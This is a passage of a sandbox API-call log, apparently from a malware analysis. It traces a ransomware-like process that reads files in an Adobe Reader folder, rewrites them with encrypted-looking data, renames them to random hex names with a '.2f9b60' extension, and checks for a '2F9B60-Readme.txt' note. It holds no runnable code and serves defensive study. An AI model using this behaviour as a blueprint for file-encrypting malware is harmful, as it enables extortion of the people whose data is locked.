liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.347] WriteFile (in: hFile=0x179c, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x27d3fad0, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x27d3fad0*=0x10c, lpOverlapped=0x0) returned 1 [0162.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0162.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0162.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a000 [0162.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0162.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0162.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0162.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc70 [0162.733] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="72") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="1f") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="10") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="cc") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="8c") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="88") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="89") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="27") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="b7") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="4d") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="82") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="40") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="77") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="22") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="a9") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="83") returned 2 [0162.733] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="7b") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="ea") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="4c") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="48") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="84") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="e8") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="ac") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="14") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fca0, _Format="%c%c" | out: _Dest="4f") returned 2 [0162.734] sprintf (in: _Dest=0x1cd9fca2, _Format="%c%c" | out: _Dest="31") returned 2 [0162.734] RtlInitAnsiString (in: DestinationString=0x27d3fb48, SourceString="721f10cc8c888927b74d82407722a9837bea4c4884e8ac144f31" | out: DestinationString="721f10cc8c888927b74d82407722a9837bea4c4884e8ac144f31") [0162.734] RtlAnsiStringToUnicodeString (in: DestinationString=0x27d3fb18, SourceString="721f10cc8c888927b74d82407722a9837bea4c4884e8ac144f31", AllocateDestinationString=1 | out: DestinationString="721f10cc8c888927b74d82407722a9837bea4c4884e8ac144f31") returned 0x0 [0162.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869c40 [0162.734] RtlFreeAnsiString (AnsiString="7") [0162.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0162.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0162.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0162.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167a60) returned 1 [0162.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0162.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0162.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0162.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0162.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0162.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0162.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0162.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c22090 [0162.738] wcscat (in: _Dest=0x42c22090, _Source="721f10cc8c888" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888" [0162.738] wcscat (in: _Dest=0x42c22090, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888.2f9b60" [0162.738] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888.2f9b60", NtPathName=0x27d3faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\721f10cc8c888.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c920 [0164.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c920) returned 1 [0164.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1be90) returned 1 [0164.733] NtQueryInformationFile (in: FileHandle=0x179c, IoStatusBlock=0x27d3fb58, FileInformation=0x27d3fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27d3fb58, FileInformation=0x27d3fb68) returned 0x0 [0164.733] NtSetInformationFile (FileHandle=0x179c, IoStatusBlock=0x27d3fb58, FileInformation=0x27d3fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22090) returned 1 [0164.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0164.735] FlushFileBuffers (hFile=0x179c) returned 1 [0166.275] CloseHandle (hObject=0x179c) returned 1 [0200.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42060530 [0200.302] wcscpy (in: _Dest=0x42060530, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0200.302] wcscat (in: _Dest=0x42060530, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0200.302] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0200.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060530) returned 1 [0200.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 Thread: id = 878 os_tid = 0x1460 [0101.062] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm")) returned 0x20 [0103.696] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm", dwFileAttributes=0x20) returned 1 [0103.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a8 [0103.933] GetFileSizeEx (in: hFile=0x17a8, lpFileSize=0x26f1fba0 | out: lpFileSize=0x26f1fba0*=17230) returned 1 [0103.933] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x434a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.933] ReadFile (in: hFile=0x17a8, lpBuffer=0x26f1fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f1fb68, lpOverlapped=0x0 | out: lpBuffer=0x26f1fb20*, lpNumberOfBytesRead=0x26f1fb68*=0x4, lpOverlapped=0x0) returned 1 [0103.991] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0103.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0103.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0103.991] NtQuerySystemTime (in: CurrentTime=0x26f1fa60 | out: CurrentTime=0x26f1fa60*=132462177094882000) returned 0x0 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5502e1c2 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1f6b543e [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x59862d01 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5f79119 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1a0bb9b2 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x3734934d [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x8147c1e [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5e8a71fb [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x21b9ffa3 [0103.991] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x3e0b0920 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x4f069aa5 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x7c7c97c8 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x663baaf4 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x11644331 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x7f108327 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1497cc01 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1ba9562c [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0xd258de5 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x3e674d4f [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x40b4d23 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x52e66a3a [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5ea67d38 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x3b8adcc7 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x4fcdfa8d [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x27384697 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5c0c2ef [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x5a5c68c1 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x6fc39b35 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1da1ea64 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x1e4a501c [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x607a0748 [0103.992] RtlRandomEx (in: Seed=0x26f1fa50 | out: Seed=0x26f1fa50) returned 0x48272abe [0104.005] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.006] ReadFile (in: hFile=0x17a8, lpBuffer=0x41eaa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26f1fac0, lpOverlapped=0x0 | out: lpBuffer=0x41eaa520*, lpNumberOfBytesRead=0x26f1fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.015] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0104.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0104.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0104.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0104.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eae130 [0104.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0104.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0104.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263830) returned 1 [0104.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0104.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0104.017] WriteFile (in: hFile=0x17a8, lpBuffer=0x41eae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26f1fac0, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesWritten=0x26f1fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eae130) returned 1 [0104.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eaa520) returned 1 [0104.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263b60 [0104.167] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.167] WriteFile (in: hFile=0x17a8, lpBuffer=0x4205a650*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x26f1fb70, lpOverlapped=0x0 | out: lpBuffer=0x4205a650*, lpNumberOfBytesWritten=0x26f1fb70*=0x10a, lpOverlapped=0x0) returned 1 [0104.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0104.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0104.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0104.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f230 [0104.262] sprintf (in: _Dest=0x1cd9f230, _Format="%c%c" | out: _Dest="e7") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f232, _Format="%c%c" | out: _Dest="8a") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f234, _Format="%c%c" | out: _Dest="f7") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f236, _Format="%c%c" | out: _Dest="ec") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f238, _Format="%c%c" | out: _Dest="f3") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f23a, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.262] sprintf (in: _Dest=0x1cd9f23c, _Format="%c%c" | out: _Dest="c0") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f23e, _Format="%c%c" | out: _Dest="d3") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f240, _Format="%c%c" | out: _Dest="4c") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f242, _Format="%c%c" | out: _Dest="5a") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f244, _Format="%c%c" | out: _Dest="17") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f246, _Format="%c%c" | out: _Dest="53") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f248, _Format="%c%c" | out: _Dest="c0") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f24a, _Format="%c%c" | out: _Dest="4b") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f24c, _Format="%c%c" | out: _Dest="c5") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f24e, _Format="%c%c" | out: _Dest="4f") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f250, _Format="%c%c" | out: _Dest="fc") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f252, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f254, _Format="%c%c" | out: _Dest="ed") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f256, _Format="%c%c" | out: _Dest="9f") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f258, _Format="%c%c" | out: _Dest="dc") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f25a, _Format="%c%c" | out: _Dest="1e") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f25c, _Format="%c%c" | out: _Dest="57") returned 2 [0104.263] sprintf (in: _Dest=0x1cd9f25e, _Format="%c%c" | out: _Dest="c5") returned 2 [0104.263] RtlInitAnsiString (in: DestinationString=0x26f1fbe8, SourceString="e78af7ecf3a6c0d34c5a1753c04bc54ffce6ed9fdc1e57c5" | out: DestinationString="e78af7ecf3a6c0d34c5a1753c04bc54ffce6ed9fdc1e57c5") [0104.263] RtlAnsiStringToUnicodeString (in: DestinationString=0x26f1fbb8, SourceString="e78af7ecf3a6c0d34c5a1753c04bc54ffce6ed9fdc1e57c5", AllocateDestinationString=1 | out: DestinationString="e78af7ecf3a6c0d34c5a1753c04bc54ffce6ed9fdc1e57c5") returned 0x0 [0104.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e870 [0104.264] wcscat (in: _Dest=0x2050b070, _Source="e78af7ecf3a6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6" [0104.264] wcscat (in: _Dest=0x2050b070, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6.2f9b60" [0104.264] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6.2f9b60", NtPathName=0x26f1fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\e78af7ecf3a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x204ff870 [0107.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0107.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46ec0) returned 1 [0107.397] NtQueryInformationFile (in: FileHandle=0x17a8, IoStatusBlock=0x26f1fbf8, FileInformation=0x26f1fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26f1fbf8, FileInformation=0x26f1fc08) returned 0x0 [0107.397] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x26f1fbf8, FileInformation=0x26f1fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b070) returned 1 [0107.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0107.399] FlushFileBuffers (hFile=0x17a8) returned 1 [0107.485] CloseHandle (hObject=0x17a8) returned 1 [0107.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867e40 [0107.493] wcscpy (in: _Dest=0x1b867e40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0107.493] wcscat (in: _Dest=0x1b867e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0107.493] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0107.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0107.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 Thread: id = 879 os_tid = 0x1464 [0101.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e2c0 [0101.064] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0101.064] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0101.064] wcscat (in: _Dest=0x1b86e2c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*" [0101.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55e10 [0101.064] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858cd0 [0101.065] wcscmp (_String1=".", _String2=".") returned 0 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.065] wcscmp (_String1="..", _String2=".") returned 1 [0101.065] wcscmp (_String1="..", _String2="..") returned 0 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0101.065] wcscmp (_String1="A3DUtils.dll", _String2=".") returned 1 [0101.065] wcscmp (_String1="A3DUtils.dll", _String2="..") returned 1 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0101.065] wcscmp (_String1="ACE.dll", _String2=".") returned 1 [0101.065] wcscmp (_String1="ACE.dll", _String2="..") returned 1 [0101.065] FindNextFileW (in: hFindFile=0x1b858cd0, 